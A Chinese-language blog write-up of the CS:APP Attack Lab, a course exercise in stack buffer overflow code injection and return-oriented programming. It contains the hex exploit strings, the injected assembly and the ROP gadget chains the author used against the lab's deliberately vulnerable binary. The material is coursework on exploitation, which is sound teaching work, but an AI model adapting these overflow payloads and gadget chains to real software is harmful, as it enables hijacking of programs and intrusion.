CSAPP实验3 : attacklab
佛了,写到lab3才知道有writeup这种东西...
CI Part
touch1
很简单的题,但是做了很久才发现是数错了的问题....面壁中
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
重点在对%rsp
的操作,这里留出了40byte
的位置给buffer
,我们只需要输入40+8长度的字符串就可以成功修改到返回地址了
touch1
的地址是0x004017c0
,根据little endian的规则,前面40个无所谓,后面8个是c0 17 40 00 00 00 00 00
就可以了(注意跳转地址是64位的),事实上我一开始只写了4个也是对的...
这里非常坑爹,输入只能是00
而不能是0
...
一开始错是因为把8个分成了一组,这样4组就只有32个,面壁中...
touch2
这个比起上面有一点难度
具体的getbuf
和上面没有区别,重点在于我们需要用cookie
的值给寄存器%rdi
赋值,然后再跳转到touch2
中
我们可以先写好汇编代码,再利用gcc -c test.s
来得到test.o
二进制文件,然后objdump -d test.o > test.d
就可以得到对应指令的编码了,放在40个中的随便哪个位置,最后在栈的返回位置写入我们注入代码的起始地址就好了
查看起始地址可以gdb进去观察%rsp
的值,然后画图就好了。只需要记住栈向低处增长、命令从低处开始执行、字符串从低处开始写入内存
写出来的汇编大概长这样,不同的cookie写出来肯定也不一样:
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
touch3
有了writeup就很好做啦
查文档可以知道sprintf(str, "%.8x", x)
表示把x
以16进制、占8位打印到str
指向的地址处,那么我们就是要在注入的代码中带上自己的cookie,然后传入这个cookie字符串的起始地址
writeup提示hexmatch
和其他函数会重新占用getbuf
所产生stack frame的内存,但是由于这两者是同级的(意会一下这个我瞎说的概念),因此getbuf
往上一层函数的stack frame就不会被修改到,所以我们把cookie存在这个地方。当然你慢慢看代码发现getbuf
的stack frame被用的一滴都不剩了再打其他地方的注意也不是不行....
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
00 00 00 48 c7 c7 a8 dc
61 55 68 fa 18 40 00 c3
00 00 00 00 00 00 00 00
8b dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
自此code injection的部分就做完啦~ 撒花 ~
ROP Part
touch2
ROP比CI要好玩得多,适用性也更广,会让开发者有一种被自己代码NTR的感觉
考虑怎么实现传入参数。虽然我们无法直接注入可执行的代码,但是我们可以注入需要的数据,再利用类似popq
的指令从栈上取出需要的数据
一个观察farm.c
的好方法是先得到farm.d
,再找到所有的ret
指令(指令长度为一、指令唯一),那么我们就可以得到一系列以ret
结尾的指令片段
我们需要的部分必定是若干指令片段的一个后缀(这个十分显然),于是大概写一个汇编,然后对着表查就好了。
比如说实现传参的话一定要有一个带%rdi
的指令、取出数据一定要有一个popq
指令、再说下去就把答案泄露了.....
写出来大概是介样:
f3 0f 1e fa 55 48 89 e5 b8 fb 78 90 90 5d c3
f3 0f 1e fa 55 48 89 e5 89 7d fc 8b 45 fc 2d b8 76 38 3c 5d c3
f3 0f 1e fa 55 48 89 e5 89 7d fc 8b 45 fc 2d af 8c a7 6f 5d c3
f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 48 89 c7 c7 90 5d c3
f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 54 c2 58 92 90 5d c3
f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 63 48 8d c7 90 5d c3
f3 0f 1e fa 55 48 89 e5 48 89 7d f8 48 8b 45 f8 c7 00 48 89 c7 90 90 5d c3
f3 0f 1e fa 55 48 89 e5 b8 29 58 90 c3
5d c3
mine:
58 popq %rax
90 nop
c3 ret
48 89 c7 movq %rax,%rdi
90 nop
90 nop
5d popq %rbp
c3 ret
这里的代码地址是固定的,所以比较好跳转。如果代码地址随机还可以用上所谓的“雪橇序列”小技巧(我瞎翻的一个术语)来实现较大概率命中我们想要的gadgets。
touch3
做完辣
注意到难点在于栈的位置随机,但是我们可以发现栈的相对位置不变,并且由附录可以很容易得到%rsp
,那么我们只需要提前取出%rsp
,用它加上一个合适的delta
得到注入的字符串的地址,再同样跳转到touch3
就可以了
阅读farm.c
可以看到这么一个函数
/* Add two arguments */
long add_xy(long x, long y)
{
return x+y;
}
这玩意就在mid
后面,而且还有注释....这重要性还要我说嘛
然后根据一些小技巧(比如说一定要用上functional nop
和movl
,比如说movl
一定用在传输delta
上(我们操作的其他值都是地址,必须要movq
))就可以找到一些一定要用上的片段,它们恰好就构成了一条数据传输链,写出来大概是这样的
mine:
movq %rsp,%rax; 48 89 e0 90 c3
movq %rax,%rdi; 48 89 c7 c3
;上面一段用来取出%rdi
popq %rax; 58 90 c3
movl %eax,%edx; 89 c2 90 c3
movl %edx,%ecx; 89 d1 38 c9 c3
movl %ecx,%esi; 89 ce 38 c0 c3
;上面一段用来取出%rsi
ret; c3 这里用来调用<add_xy>
movq %rax,%rdi; 48 89 c7 c3 这里就是传参啦
然后就很简单了,只需要找delta
的值就行了。这个可以gdb进去直接扫内存看差值
本文来自博客园,作者:jjppp。本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议